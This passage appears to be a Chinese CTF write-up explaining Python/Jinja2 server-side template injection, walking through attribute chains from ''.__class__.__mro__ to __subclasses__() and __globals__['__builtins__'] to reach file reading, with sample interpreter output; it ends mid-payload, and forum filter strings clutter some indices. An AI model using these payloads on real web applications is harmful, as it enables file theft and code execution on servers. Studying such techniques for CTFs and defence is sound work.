在CTF比赛中见过不少的SSTI题目,在这里整理下思路,记录下
0x01 简介
SSTI(Server-Side Template Injection),即服务端模板注入攻击,通过与服务端模板的输入输出交互,在过滤不严格的情况下,构造恶意输入数据,从而达到读取文件或者getshell的目的,目前CTF常见的SSTI题中,大部分是考python的
0x02 攻击流程
攻击流程,以文件读取为例子
函数解析
__class__ 返回调用的参数类型
__bases__ 返回类型列表
__mro__ 此属性是在方法解析期间寻找基类时考虑的类元组
__subclasses__() 返回object的子类
__globals__ 函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
获取基本类
''.__class__.__mro__[zxsq-anti-bbcode-2]
{}.__class__.__bases__[zxsq-anti-bbcode-0]
().__class__.__bases__[zxsq-anti-bbcode-0]
[zxsq-anti-bbcode-].__class__.__bases__[0]
request.__class__.__mro__[zxsq-anti-bbcode-8] //针对jinjia2/flask为[zxsq-anti-bbcode-9]适用
获取基本类后,继续向下获取基本类(object)的子类
object.__subclasses__()
找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的)
>>> ''.__class__.__mro__[zxsq-anti-bbcode-2].__subclasses__()[zxsq-anti-bbcode-99].__init__
<slot wrapper '__init__' of 'object' objects>
>>> ''.__class__.__mro__[zxsq-anti-bbcode-2].__subclasses__()[zxsq-anti-bbcode-59].__init__
<unbound method WarningMessage.__init__>
查看其引用__builtins__
builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块
''.__class__.__mro__[zxsq-anti-bbcode-2].__subclasses__()[zxsq-anti-bbcode-59].__init__.__globals__[zxsq-anti-bbcode-'__builtins__']
这里会返回dict类型,寻找keys中可用函数,直接调用即可,使用keys中的file以实现读取文件的功能
''.__class__.__m